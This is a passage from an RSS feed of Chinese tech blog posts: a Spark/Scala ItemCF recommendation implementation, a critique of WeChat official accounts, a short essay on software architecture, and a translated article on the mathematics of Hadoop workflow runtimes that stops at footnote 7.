 &lt;p&gt;了解到目前大多数公司在几十G数据量级上单机还能够撑住，所以这里的并行并不是指在多计算结点中进行计算，而是希望利用起单机服务器多CPU Core并行计算的能力。之前的实现方式为Python单线程运行，之前的数据需要几个小时的计算时间。需要找到一种可以利用并行计算的方式。 （Python貌似可以利用multiprocessing包，使用mmap进行内存共享）&lt;/p&gt;
 &lt;h2&gt;为什么要Map/Reduce？&lt;/h2&gt;
 &lt;p&gt;Map/Reduce 是一种先进的计算模型，可以在Map阶段将数据分片到不同的计算结点上进行，之后在Reduce阶段对各个结点返回的数据进行加工处理或者收集。 ItemCF使用的Item用户矩阵是一个高度稀疏的矩阵，矩阵的基本操作已经有Map/Reduce版本的实现，但是Item用户矩阵又有自己的特点，可以针对计算目标对过程进行另外的理解。&lt;/p&gt;
 &lt;p&gt;ItemCF基于Map/Reduce的基本思路有下面几个子过程：&lt;/p&gt;
 &lt;ol&gt;
  &lt;li&gt;输入数据为&amp;lt;uid, iid, rates&amp;gt;, 输出为&amp;lt;uid, (iid, iid …, iid)&amp;gt;用户行为列表，还有&amp;lt;iid, (uid, rates), (uid, rates) …&amp;gt;的Item用户向量&lt;/li&gt;
  &lt;li&gt;输入数据为&amp;lt;uid, (iid, iid, iid, ….)&amp;gt;, 输出为&amp;lt;iid, iid&amp;gt;的Item对（此处应该尽量优化，输出只有实际计算意义的Item）&lt;/li&gt;
  &lt;li&gt;输入数据为&amp;lt;iid, iid&amp;gt;Item对，输出为&amp;lt;iid, iid, iid_vector1, iid_vector2&amp;gt; （这点在实现中略有不同）&lt;/li&gt;
  &lt;li&gt;输入数据为&amp;lt;iid, iid, iid_vector1, iid_vector2&amp;gt;，输出为&amp;lt;iid, iid, distance&amp;gt;相似度距离矩阵&lt;/li&gt;
&lt;/ol&gt;
 &lt;h2&gt;选择Spark/Scala计算平台&lt;/h2&gt;
 &lt;p&gt;  &lt;a href="http://www.spark-project.org/" rel="nofollow"&gt;Spark&lt;/a&gt;是 一个基于Map/Reduce的高效计算平台，核心概念为他的RDD数据集概念，这个数据集可以用来方便的分布到计算结点上。Spark提供非常友好的 Map／Reduce封装，会自动将Map／Reduce分割为子任务交给调度然后分配到计算平台上进行计算。此外，他还提供了直接访问HDFS的接口， 可以运行在Mesos平台上，也可以单独进行Master/Worker的部署，同样可以跑在单机使用多进程(Master/Worker部署)和本地多线程(local[n]部署)模式上，从而充分利用单机的多核计算能力。Spark对内存没有特殊的要求，但是要想达到他高效的计算目标（30倍于传统 Hadoop MR任务），内存应该配置高一些。&lt;/p&gt;
 &lt;p&gt;Spark采用Scala语言编写，Scala是运行在JVM上的一种很有前途的语言，同时支持OOP和FP的编程模式，提供大量语法糖，非常适合用来编写DSL进行领域编程。同时，Scala可以把代码编译为Java的Byte Code，最后可以直接使用Java运行，效率很高。使用Scala实现单线程ItemCF过程，同样的数据集耗时100分钟完成。&lt;/p&gt;
 &lt;h2&gt;代码分析&lt;/h2&gt;
 &lt;p&gt;首先，Spark支持从本地读取文件，然后可以使用Map/Reduce方法对文件进行解析和统计。下面代码段表示读取文件（文件每一行为 用户Id／Item ID／Rate）并进行解析和预处理  &lt;br /&gt;
  &lt;code&gt;
&lt;/code&gt;  &lt;pre&gt;   &lt;code&gt;
val sc = new SparkContext(&amp;quot;local[2]&amp;quot;, &amp;quot;ItemCF&amp;quot;)
val lines = sc.textFile(&amp;quot;xxx.data&amp;quot;)
val data = lines.map { line =&amp;gt;
    val vs = line.split(&amp;quot;\t&amp;quot;)
    ((vs(0).toLong, vs(1).toLong), (vs(1).toLong, (vs(0).toLong, vs(2).toDouble)))
  }
&lt;/code&gt;&lt;/pre&gt;
&lt;/p&gt; &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;然后生成用户行为列表(&amp;lt;uid, (iid, iid, iid …)&amp;gt;)以及Item用户向量，其中需要包括具体数值(&amp;lt;iid, (uid, rate), (uid, rate)&amp;gt;)  &lt;br /&gt;
  &lt;code&gt;
&lt;/code&gt;  &lt;pre&gt;   &lt;code&gt;
val userVector = data.map(_._1).groupByKey().filter(_._2.length &amp;gt; 1)
val itemVector = sc.broadcast(data.map(_._2).groupByKey().map { p =&amp;gt;
    val squaredSum = p._2.foldLeft(0.0)((acc, x) =&amp;gt; acc + x._2 * x._2)
    (p._1, (p._2, squaredSum))
  }.collect().toMap)
&lt;/code&gt;&lt;/pre&gt;
&lt;/p&gt; &lt;p&gt;  &lt;br /&gt;
其中使用了sc.broadcast函数来在Spark环境中纪录一个全局的广播变量，这个广播变量可以被所有 Map／Reduce任务读取，类似于开辟了一个共享内存，这样所有子任务都可以从这个变量中读取数值。同时，我们在生成Item向量时预先计算了他的平方和，为了方便后面计算欧式距离。&lt;/p&gt;
 &lt;p&gt;接下来，需要生成所有需要计算的Item对&amp;lt;iid, iid&amp;gt;：  &lt;br /&gt;
  &lt;code&gt;
&lt;/code&gt;  &lt;pre&gt;   &lt;code&gt;
val itemPairs = userVector.map { p =&amp;gt;
    val is = for(item &amp;lt;- p._2; other &amp;lt;- p._2
                     if item &amp;gt; other
                ) yield(item, other)
    is
  }.flatMap(p =&amp;gt; p)
  .distinct()
&lt;/code&gt;&lt;/pre&gt;
&lt;/p&gt; &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;最后就可以对这个Item对进行距离计算，Spark会把他们分散到不同的计算结点（CPU Core）上  &lt;br /&gt;
  &lt;code&gt;
&lt;/code&gt;  &lt;pre&gt;   &lt;code&gt;
itemPairs.map { p =&amp;gt;
    val iv1 = itemVector.value(p._1)
    val iv2 = itemVector.value(p._2)
    var distance = iv1._2 + iv2._2
    for (a &amp;lt;- iv1._1; b &amp;lt;- iv2._1
          if (a._1 == b._1)) {
      distance += (a._2 - b._2) * (a._2 - b._2)
      distance -= a._2 * a._2 + b._2 * b._2
    }
    (p._1, p._2, sqrt(distance))
}
&lt;/code&gt;&lt;/pre&gt;
&lt;/p&gt; &lt;p&gt;  &lt;br /&gt;
上面代码返回的结果就是每个Item对的距离向量，然后就可以保存数据以便之后的推荐时计算。采用上述过程，在本地四个Core上运行，之前同样数据量的计算耗时24分钟完成。因为Spark中提供了一个可以供所有子任务读取的广播变量，所以可以把itemVector作为广播变量让所有任务获得，在第三步的计算中就不需要代入对应的Item向量，貌似Mahout的实现中还需要代入这个向量的信息然后再分布计算。&lt;/p&gt;
&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>tech itemcf recommendation</category>
      <guid isPermaLink="true">https://itindex.net/detail/40408-map-reduce-itemcf</guid>
      <pubDate>Mon, 05 Nov 2012 16:37:54 CST</pubDate>
    </item>
    <item>
      <title>为什么我认为微信公众号是一种历史倒退</title>
      <link>https://itindex.net/detail/47418-%E5%BE%AE%E4%BF%A1-%E5%85%AC%E4%BC%97-%E5%8E%86%E5%8F%B2</link>
      <description>&lt;p&gt;  &lt;a href="http://www.xuwenhao.com/wp-content/uploads/2014/01/cas-history.jpg"&gt;   &lt;img alt="cas-history" height="515" src="http://www.xuwenhao.com/wp-content/uploads/2014/01/cas-history-1024x704.jpg" width="750"&gt;&lt;/img&gt;&lt;/a&gt;话说前两天看人吐槽说，自从微博和微信出来之后，中文世界写blog的人越来越少了，以前过年的时候，google reader里都是各种年终总结，结果google reader也倒闭了，换成  &lt;a href="http://www.feedly.com" target="_blank"&gt;feedly&lt;/a&gt;之后回去一看，结果Today里全都是英文文章……&lt;/p&gt;
 &lt;p&gt;虽然号称在互联网最前线工作，做得是大家觉得对世界最没有贡献，实际又有很多小朋友觉得很fancy的贴小广告的工作。我自己在各种互联网产品上从大学毕业之后就不再是early adopter了，无论是微博还是微信，基本都比家里领导都用得晚。所以你也可以认为我是跟不上时代潮流的老顽固。但是我这个老顽固的观点就是，微博和微信，特别是其中的长微博功能和微信公众号，是严重的开互联网历史倒车行为，结果丫就这么生根发芽让中文互联网世界变得更糟糕了。&lt;/p&gt;
 &lt;p&gt;抛开傻逼得令人发指的图片长微博功能，全世界人民也都在吐槽的微博产品经理属于“不作死就不会死”的典型，这些问题完全可以开一篇长篇连载慢慢批判。微信，这个过去两年被很多人称之为移动互联网的超级明星产品，但是至少从公众号这个功能来说，完全是开历史倒车的一个产品，一点互联网精神都没有。&lt;/p&gt;
 &lt;p&gt;为什么这么说？事实上，从产品形态，以及实际的用途来看，公众号，基本上和传统的blog订阅非常类似，如果再退回到更久远的时代，他类似于订阅报纸和杂志。一个公众号，无论是商业公司的品牌宣传，营销渠道，还是一些类似大V维护的传达自己观点的平台，本质上，只是Publisher-Subscriber这个模式，在往移动端的一个迁移。微信虽然在产品上做了很多小的功能改进，包括可以发语音，使用二维码，到类似于机器人问答的输入特定文字返回特定微信等等。然而公众号的产品本质，还是用户主动订阅频道，然后信息发布方定期发布内容。公众号这个产品的最大的优势在于，在移动端的便捷性很高，对于订阅了的用户，非常方便阅读。这个也是公众号实际上吸引了很多发布方，以及用户的原因，包括我实际也订阅了不少公众号。&lt;/p&gt;
 &lt;p&gt;可以公众号有一个根本性上的问题，就是对于陌生的内容，你不再像blog那样，有非常低的获取成本。在blog世界里，如果你需要引用外部观点，给一个link就好了，读者自然可以跟随这个链接看到新内容。如果你需要推荐别人的blog，也给一个link就好了，我有很多blog都是从别人的友情链接里看到的。甚而有之的是，如果读者需要和作者互动，读者留下的comments是可以再被其他读者读到，有大量订阅的blog，甚至可以看做是一个社区。事实上，blog世界的整个内容体系，在默认情况下，是完全开放的。在这个完全开发的体系下，所有的内容都是可搜索，可索引的，如果再加上feedly，google的快照这些互联网的基础设施，所有基于blog发布的这些内容，或者说“知识”，变成了全人类的共同财产，即使你的blog hoster倒闭了，你也很容易从feedburner中找到你的历史文章。然而，在微信里，这些本应该成为共享的信息，难以检索，只存在于某个特定商业公司的服务器上，读者和读者之间无法再建立社区去交流。于是，虽然每个人随身都带着智能手机，都能够安装微信，但是实际，我期望能够获得的信息更难获得了，我非常难从已经阅读了的内容，再去扩展获得新内容。获取这些信息的渠道，不再是公开、共享的互联网，而是某个商业工作的独有协议的一个软件。这个事情，对于腾讯来说，叫做“抢占流量入口”，对于一个商业公司本身来说，自然是有利的。但是对于所有使用互联网去工作，获取信息，交流分享的人来说，是根本机制上的倒退，让大家拱手把信息发布的渠道，从一个零成本，人人可行的状态，交由一个商业公司去控制。&lt;/p&gt;
 &lt;p&gt;事实上，随着blog风潮过去，中文互联网有用的信息越来越少，而英文blog世界却仍然有着大量的严肃内容写作，无论是商业公司发布产品信息如  &lt;a href="http://hortonworks.com/blog/" target="_blank"&gt;Hortonworks&lt;/a&gt;还是团队技术分享如  &lt;a href="https://blog.twitter.com/engineering" target="_blank"&gt;Twitter Engineer Blog&lt;/a&gt;，乃至独立作家如  &lt;a href="http://scottberkun.com" target="_blank"&gt;Scott Berkun&lt;/a&gt;，blog始终都是最佳平台。互联网，以及标准化的blog本身让独立的个体有了更多可以鲜明表达自己观点，分享自己的知识的平台，然而退回到中文世界，又变成了让人糟心的必须依附于特定商业公司，商业产品，以及文字审查的美丽新世界。&lt;/p&gt;
 &lt;p&gt;其实不只是在公众号上，包括在Mobile App上，我也相信在英文世界，随着硬件条件的改善，以及更多的新的发明创造，更多“信息”或者“知识”类的内容，会慢慢从App向Web迁移，小广告的未来也不例外。至于中文世界？天知道，也许有一天，所有信息都来自于商业目的的广告？&lt;/p&gt;
&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>Idea Tech</category>
      <guid isPermaLink="true">https://itindex.net/detail/47418-%E5%BE%AE%E4%BF%A1-%E5%85%AC%E4%BC%97-%E5%8E%86%E5%8F%B2</guid>
      <pubDate>Fri, 03 Jan 2014 22:51:41 CST</pubDate>
    </item>
    <item>
      <title>&amp;#8203;浅谈架构</title>
      <link>https://itindex.net/detail/35664-%E6%9E%B6%E6%9E%84</link>
      <description>&lt;div&gt;今天@Laruence 挖了个坑，我试着来灌点水。纯粹个人观点，不准确也不全面。&lt;/div&gt; &lt;div&gt;  &lt;br /&gt;&lt;/div&gt; &lt;div&gt;架构 (architecture) 这个概念确实不好定义。首先，它很虚，不像代码可以用源文件“自证”。其次，它很泛，好像跟什么都相关，开发、测试、部署甚至运营等各阶段都有其影子。然后，它好像还在变，在计算机发展的各个阶段（Mainframe/PC/Cloud）都感觉不太一样。而且，在不同的领域也都有不同的反映。&lt;/div&gt; &lt;div&gt;  &lt;br /&gt;&lt;/div&gt; &lt;div&gt;所以，一千个人心中有一千个哈姆雷特，一千个工程师眼里也能有一千种架构。在2012年2月1日晚11点左右（向Pkubuntu致敬），我的看法可以用两个例子说明。以建筑为例，设计师想方案，建筑师出图纸，工人施工同时项目管理贯穿始终，那图纸就是架构。如果说到烤鸭，骨头和肉是代码，鸭架子就是架构，而过程管理将其变成烤鸭。&lt;/div&gt; &lt;div&gt;  &lt;br /&gt;&lt;/div&gt; &lt;div&gt;如果要更正式点定义，架构就是model和pattern，从而把code串成system。而其中最重要的就是design principles (设计原则），即为什么这个问题要用这个而非那个。更文艺点，再结合点美学，也可以叫作design philosophy (设计哲学或理念)。&lt;/div&gt; &lt;div&gt;  &lt;br /&gt;&lt;/div&gt; &lt;div&gt;然后我们来看什么是model和pattern，这两个具体的定义我还没想出来。先说一下比较，model偏宏观，而pattern偏微观；model重抽象描述，而pattern重具体实现。比如，你的系统有一个服务端和一个客户端，那么client/server就是model，而client与server之间的交互方式则是pattern，比如RPC/message、同步/异步，比如用滑动窗口来组织请求与应答等等。当然，这和系统的尺度有关。如果你zoom in到服务端，此时的model可能就是模块的组织关系，而pattern则是调用方式，比如用function call还是event等。&lt;/div&gt; &lt;div&gt;  &lt;br /&gt;&lt;/div&gt; &lt;div&gt;具体到领域上，我觉得主要有三类架构问题（不包括硬件）：&lt;/div&gt; &lt;div&gt;  &lt;br /&gt;&lt;/div&gt; &lt;div&gt;1. 软件架构，其典型用例是企业级软件，通过合理的功能抽象，提取出公共组件和通用流程，进行最大化的功能复用 (reuse)。我称其为软件的可维护性问题。&lt;/div&gt; &lt;div&gt;2. 系统架构，其巅峰是OS，重点是解决资源的分配与复用 (multiplexing)。&lt;/div&gt; &lt;div&gt;3. 大规模分布式架构，主要应用在Cloud中，重点是大规模系统的资源整合、快速交付和运维问题。&lt;/div&gt; &lt;div&gt;  &lt;br /&gt;&lt;/div&gt; &lt;div&gt;1有《Design Patterns》一书，2有很多OS、并行程序设计的书可供参考 (或者应该写本《Parallel Patterns》？)，3目前我还不知道有什么书可参考。&lt;/div&gt; &lt;div&gt;  &lt;br /&gt;&lt;/div&gt; &lt;div&gt;那为什么架构会很泛又多变呢？这就牵扯到开发过程了。我们再引入一个方法论 (methodology) 的概念。传统软件工程那一套不必说了，互联网服务常用迭代式的开发方法 (现在又叫敏捷)，这就是方法论。我个人的做法通常有三种：divide and conquer，modeling and iterate，back-of-envelop-calculation and simulation，按问题的规模、难易程度、熟悉程度、项目的组织方式等等选择不同做法。这就又提到架构师这个角色了，找时间再谈。&lt;/div&gt; &lt;div&gt;  &lt;br /&gt;&lt;/div&gt; &lt;div&gt;总而言之，相对于代码和功能这些更实际的东西，以上所说的都是偏虚偏抽象的事情，我称其为开发工艺问题，包括架构和方法论两个层面。不同时代的系统，其组成不同，对开发工艺的要求也不同。在Cloud时代，可归结为三点：软件架构和开发过程支持快速迭代，系统架构与分布式架构支持大规模用户和数据分析，然后由数据分析驱动迭代。&lt;/div&gt; &lt;p&gt;&lt;/p&gt;  &lt;a href="http://hi.baidu.com/linsd99/blog/item/9de5a90ad17770d03ac7632c.html"&gt;阅读全文&lt;/a&gt;
		
		 &lt;br /&gt; &lt;strong&gt;类别：&lt;/strong&gt; &lt;a href="http://hi.baidu.com/linsd99/blog/category/Tech"&gt;Tech&lt;/a&gt;  &lt;a href="http://hi.baidu.com/linsd99/blog/item/9de5a90ad17770d03ac7632c.html#comment"&gt;查看评论&lt;/a&gt;&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>Tech</category>
      <guid isPermaLink="true">https://itindex.net/detail/35664-%E6%9E%B6%E6%9E%84</guid>
      <pubDate>Thu, 02 Feb 2012 11:45:00 CST</pubDate>
    </item>
    <item>
      <title>Hadoop背后的数学</title>
      <link>https://itindex.net/detail/35482-hadoop-%E6%95%B0%E5%AD%A6</link>
      <description>&lt;p&gt;自从  &lt;a href="http://nathanmarz.com/" target="_blank"&gt;Nathan Marz&lt;/a&gt;同学写了那篇著名的  &lt;a href="http://nathanmarz.com/blog/how-to-beat-the-cap-theorem.html" target="_blank"&gt;How to beat the CAP theorem&lt;/a&gt;的Blog，以及  &lt;a href="https://github.com/nathanmarz/storm" target="_blank"&gt;Storm&lt;/a&gt;发布之后，俨然成为了技术界新偶像。顺着他本人的blog，翻了一下他过去几年的写的技术文章，发现老美的牛人们都爱总结，能够把技术实践提升到理论高度，然后抽象出新的设计和产品，比起我等只能每天苦逼苦逼应对实际需求的人来说，还是强出很多。我自己觉得那么多年，虽然觉得做什么都能做了，但是现在还是只能谈到模仿，做不到提炼总结和超越。&lt;/p&gt;
 &lt;p&gt;和著名的CAP的那篇Blog，Nathan Marz还有很多其他非常有料值得一读的博客，与其在国内的各种Hadoop大会上听大家泛泛而谈架构，还不如多看看老外们总结下来的技术博呢，比如这篇  &lt;a href="http://nathanmarz.com/blog/the-mathematics-behind-hadoop-based-systems.html" target="_blank"&gt;The mathematics behind Hadoop-based systems&lt;/a&gt;，比起大家简单列列机器数字来说，有价值得多。&lt;/p&gt;
 &lt;p&gt;我曾经写过，  &lt;a href="http://www.xuwenhao.com/2011/02/01/how-import-is-math-for-a-programmer/" target="_blank"&gt;数学对于称为一名优秀的程序员是很重要的&lt;/a&gt;，但这不一定意味着一定要是多高深的数学。Nathan的这篇Blog用到的数学只有初中难度，但是的确写明白了我们遇到的很多Estimation以及集群数量预估的实际问题，我想一定也有很多人用hadoop但是和我们一样，对于很多机器数量或者workflow的管理是很粗放的，相信这篇blog对很多人都会有用，所以把它翻译成中文，全文如下&lt;/p&gt;
 &lt;hr&gt;&lt;/hr&gt;
 &lt;h2&gt;  &lt;a href="http://nathanmarz.com/blog/the-mathematics-behind-hadoop-based-systems.html" target="_blank"&gt;基于Hadoop的系统背后的数学&lt;/a&gt;&lt;/h2&gt;
 &lt;p&gt;我希望一年之前我就知道这些。现在，根据一些简单的数学，我就可以回答：&lt;/p&gt;
 &lt;ul&gt;
  &lt;li&gt;为什么在我将处理能力翻倍之后，我的workflow的速度没有翻倍？&lt;/li&gt;
  &lt;li&gt;为什么10%的任务失败率会导致我的运行时间上升到原来的300%？&lt;/li&gt;
  &lt;li&gt;如果通过优化了我的workflow的运行时间的30%导致运行时间下降了80%？&lt;/li&gt;
  &lt;li&gt;我的集群中到底需要多少机器可以满足性能和容错的需要？&lt;/li&gt;
&lt;/ul&gt;
 &lt;p&gt;所有这些问题都可以通过这样一个简单的等式干净地回答：&lt;/p&gt;
 &lt;pre&gt;
运行时间(Runtime) = 额外开销(Overhead) / (1-{处理一小时数据需要的时间})
&lt;/pre&gt;
 &lt;p&gt;我们很快就可以推导出这个等式。首先，让我们简单地讨论一下什么是我所说的“基于Hadoop的系统”  &lt;sup&gt;   &lt;a href="http://www.xuwenhao.com#sup1"&gt;1&lt;/a&gt;&lt;/sup&gt;。Hadoop的一个常见的用例，就是通过运行一个workflow来处理来连续进入的流数据。这个工作流运行一个”while(true)”的循环，然后每个workflow的迭代，都处理自从上个迭代依赖累积的数据。&lt;/p&gt;
 &lt;p&gt;下面的这些分析的灵感可以在一个简单的示例中概括出来。假如说你有一个workflow需要运行12小时，然后它会在每个迭代中处理12个小时的数据。然后假如说你加强了这个workflow去做一些额外的分析，然后你估计你在当前的这个workflow中需要多花两个小时来处理。然后麻烦来了。你的workflow增加的运行时间可能远超过两小时。它可能增加了10个小时，100个小时，或者这个workflow可能呈螺旋式上升地在每个迭代中花费越来越多的时间知道无限。&lt;/p&gt;
 &lt;p&gt;为什么？&lt;/p&gt;
 &lt;p&gt;问题在于，你将处理12个小时数据的workflow的运行时间增加到了14个小时。这意味着当下一次workflow运行的时候，有14小时的数据需要处理。既然下一个迭代有更多的数据，他要花费更多时间运行。这意味着下一个迭代会有  &lt;strong&gt;更多&lt;/strong&gt;的数据，等等。&lt;/p&gt;
 &lt;p&gt;为了确定什么时候运行时间，让我们做一些简单的算术。首先，让我们写下一个只有一个迭代的workflow的运行时间的等式&lt;/p&gt;
 &lt;pre&gt;
运行时间 = 额外开销 + {处理一小时数据的时间} * {多少小时的数据}
&lt;/pre&gt;
 &lt;p&gt;额外开销(Overhead)指的是花费在workflow上的任何常数项时间。例如，开始一个job需要的时间会计入额外开销。使用distributed cache来分发文件的时间会计入额外开销。你会把任何独立于数据规模的时间花费放到“额外开销”的分类中去。&lt;/p&gt;
 &lt;p&gt;“处理一小时数据的时间”指的是workflow中的动态时间。这是你忽视那些额外开销，花费在处理实际数据上的时间。如何一小时的数据会增加你半小时的运行时间上，这个值应该是0.5。如果一小时的数据会增加你一小时的运行时间，这是值就是2。&lt;/p&gt;
 &lt;p&gt;为了简洁，让我们把上面那个等式通过变量来重新写一下：&lt;/p&gt;
 &lt;pre&gt;
T = O + P * H
&lt;/pre&gt;
 &lt;p&gt;为了确定workflow的稳定的运行时间，我们需要找到workflow的运行时间在哪个电商正好等于累积了的需要处理的数据量。为了做这个，我们可以简单地插入 T=H 来求解T:&lt;/p&gt;
 &lt;pre&gt;
T = O + P * T
T = O / (1 - P)
&lt;/pre&gt;
 &lt;p&gt;这就是我之前展示的等式。你可以看到，一个workflow的稳定的运行时间是和workflow中的额外开销呈线性比例的。所以如果你可以将额外开销减少25%，那么你的workflow运行时间就会减少25%。然而，一个workflow的稳定运行时间和动态处理的速率“P”不是呈线性比例的。这背后的隐含含义就是每为集群加入一台机器带来的性能提升是在减少的。&lt;/p&gt;
 &lt;p&gt;通过这个等式，我们可以回答我在文章开始时候写下的问题了。让我们一起来过一些这些问题：&lt;/p&gt;
 &lt;h3&gt;为什么在我将处理能力翻倍之后，我的workflow的速度没有翻倍？&lt;/h3&gt;
 &lt;p&gt;将你的机器数翻倍，会将你的“处理一小时数据需要的时间”减少50%  &lt;sup&gt;   &lt;a href="http://www.xuwenhao.com#sup2"&gt;2&lt;/a&gt;&lt;/sup&gt;。这个的效果和你的运行时间的关系是完全依赖于之前的P值的。让我们用数学来展示一下。假如说你的workflow在集群的机器数量翻倍之前的运行时间是“T1”，翻倍之后是“T2”。这给了我们两个等式：&lt;/p&gt;
 &lt;pre&gt;
T1 = O / (1-P)
T2 = O / (1 - P/2)
&lt;/pre&gt;
 &lt;p&gt;那么性能加速就会是 T2/T2，新的运行时间和旧的运行时间的比值。这给到我们&lt;/p&gt;
 &lt;pre&gt;
T2 / T1 = (1 - P) / (1 - P/2)
T2 / T1 = 1 - P / (2 - P)
&lt;/pre&gt;
 &lt;p&gt;对这个式子作图，我们可以得到如下的图，其中原始的P在x轴上，性能加速在y轴  &lt;sup&gt;   &lt;a href="http://www.xuwenhao.com#sup3"&gt;3&lt;/a&gt;&lt;/sup&gt;上：&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="" src="http://s3.media.squarespace.com/production/621062/7280691/blog/wp-content/uploads/2009/12/Screen-shot-2009-12-27-at-5.06.54-PM1.png"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;这个图说明了一切。如果你的P非常高，比如说，需要54分钟来处理一小时的数据，那么将你的集群数量翻倍会使得你新的运行时间是原来的18%，足足有82%的性能加速！这是一个非常违背直觉的结论 —— 我强烈推荐读者们仔细思考这种情况出现的背后的机制。&lt;/p&gt;
 &lt;p&gt;然后，如果你之前的P没有那么高（例如，需要6分钟的动态运行时间来处理1小时的数据），那么将集群数量翻倍对于运行时间几乎没有效果 —— 可能只有类似6%。由于运行时间被额外开销所主导，这是很合乎情理的，动态运行时间在运行时间中占得很小。&lt;/p&gt;
 &lt;h3&gt;为什么10%的任务失败率会导致我的运行时间上升到原来的300%？&lt;/h3&gt;
 &lt;p&gt;这个问题解释了  &lt;strong&gt;workflow稳定性&lt;/strong&gt;的属性。在一个大集群中，你总是会有不同的机器故障，所以任务失败率的峰值不会干掉mission critical系统的性能是非常重要的。关于这个问题的分析会和上一个问题看起来非常相似，除了我们会将动态运行时间变差而不是提高它之外。10%的任务失败率意味着我们需要多运行11%的任务来处理完我们的数据  &lt;sup&gt;   &lt;a href="http://www.xuwenhao.com#sup4"&gt;4&lt;/a&gt;&lt;/sup&gt;。由于任务依赖于我们所拥有的数据量，这意味着，我们的“处理一小时数据需要的时间”会上升11%。类似于上一个问题，让我们将T1作为没有任务失败所需要的运行时间，T2作为有任务失败的运行时间&lt;/p&gt;
 &lt;pre&gt;
T1 = O / (1 - P)
T2 = O / (1 - 1.11*P)
T2 / T1 = (1 - P) / (1 - 1.11*P)
&lt;/pre&gt;
 &lt;p&gt;对此作图，我们得到：&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="" src="http://s3.media.squarespace.com/production/621062/7280691/blog/wp-content/uploads/2009/12/Screen-shot-2009-12-27-at-5.34.41-PM.png" width="95%"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;small&gt;   &lt;br /&gt;
(译著: 上图中X轴为P值，Y轴为花费时间增加的比例)   &lt;br /&gt;
&lt;/small&gt;&lt;/p&gt;
 &lt;p&gt;你可以看到，任务失败对于运行时间的影响在你的集群有“额外容量”减少的情况下戏剧性地增长。所以让保持你的P低是非常重要的。我们可以看到你的P越高，由于任务失败率的增加，你就更有可能进入“毁灭循环”的风险  &lt;sup&gt;   &lt;a href="http://www.xuwenhao.com#sup5"&gt;5&lt;/a&gt;&lt;/sup&gt;。&lt;/p&gt;
 &lt;h3&gt;如果通过优化掉我的workflow的运行时间的30%而导致运行时间下降了80%？&lt;/h3&gt;
 &lt;p&gt;这个问题是使得我真正找出workflow的运行时间的模型。我曾在一个workflow中有一个荒谬的瓶颈，导致了大概10小时的额外开销  &lt;sup&gt;   &lt;a href="http://www.xuwenhao.com/sup6"&gt;6&lt;/a&gt;&lt;/sup&gt;，然后整个workflow的运行时间大概是30小时。在我优化了这个瓶颈(大约占据了30%的运行时间)之后，运行时间像石头一样坠落，最终稳定在6小时(减少了80%)。使用我们的模型，我们可以确定为什么这发生了：&lt;/p&gt;
 &lt;pre&gt;
30 = O / (1 - P)
6 = (O - 10) / (1 - P)
O = 12.5, P = 0.58
&lt;/pre&gt;
 &lt;p&gt;所以那10小时，占据了workflow中的80%的额外开销，这解释了整个的性能提升。&lt;/p&gt;
 &lt;h3&gt;我的集群中到底需要多少机器可以满足性能和容错的需要？&lt;/h3&gt;
 &lt;p&gt;这基本上是一个费效比分析的练习。我们可以看到，通过增加集群中机器数据来提高性能到回报在减少，而一旦P(“处理一小时数据需要的时间”)下降到30分钟以下(0.5)，通过增加机器获得的性能提升是次线性的  &lt;sup&gt;   &lt;a href="http://www.xuwenhao.com#sup7"&gt;7&lt;/a&gt;&lt;/sup&gt;。我们也同样看到将P保持得低是很重要得，不然任务失败的增加或者其他的任务使用集群，会严重影响你的运行时间。所以，你需要运行一些数据来确定对你的应用最佳的机器数量  &lt;sup&gt;   &lt;a href="http://www.xuwenhao.com#sup8"&gt;8&lt;/a&gt;&lt;/sup&gt;。&lt;/p&gt;
 &lt;p&gt;你应该在Twitter上follow  &lt;a href="http://twitter.com/nathanmarz" target="_blank"&gt;我&lt;/a&gt;。&lt;/p&gt;
 &lt;p&gt;更新：看看  &lt;a href="http://nathanmarz.com/blog/hadoop-math-followup-measurement/" target="_blank"&gt;本文的后续内容&lt;/a&gt;&lt;/p&gt;
 &lt;hr&gt;&lt;/hr&gt;
 &lt;p&gt;  &lt;small&gt;   &lt;br /&gt;
   &lt;sup&gt;1&lt;/sup&gt; 事实上，这个等式适用于任何批量处理连续数据流的系统。   &lt;br /&gt;
   &lt;sup&gt;2&lt;/sup&gt; 这里假设你的处理是完全分布式的，并且没有持有任何中心点，这对于一个基于Hadoop的workflow来说通常是真的。一个可能的例外是，你所有的tasks都通过一个中心的数据库进行通信。事实上，增加更多的机器会在额外开销(更多的机器去处理)以及数据处理速率(mapper需要将数据分发到更多的reducer中去)有少量的不利影响。对于这个分析的目的来说，我们可以忽略这些。   &lt;br /&gt;
   &lt;sup&gt;3&lt;/sup&gt; 该图通过   &lt;a href="http://www.fooplot.com/" target="_blank"&gt;FooPlot&lt;/a&gt;生成。   &lt;br /&gt;
   &lt;sup&gt;4&lt;/sup&gt; 比如说我们通过100个task来处理数据，现在，当你运行这些task的时候，其中有10个会失败。当你重新运行这10个的时候，9个会成功，还有1一个会失败。所以你实际运行了111个task而不是100个，这意味着task的数量增加了11%。   &lt;br /&gt;
   &lt;sup&gt;5&lt;/sup&gt; 或者其他的运行在集群上的东西，比如一次性的查询或者其他的workflow。   &lt;br /&gt;
   &lt;sup&gt;6&lt;/sup&gt; 这是由于Berkeley DB在ext3的文件系统上会生成很多碎片。   &lt;br /&gt;
   &lt;sup&gt;7&lt;/sup&gt; 事实上，我没有展示这个，但是你可以通过模型来自己推导。我把这个作为一个练习留给读者。   &lt;br /&gt;
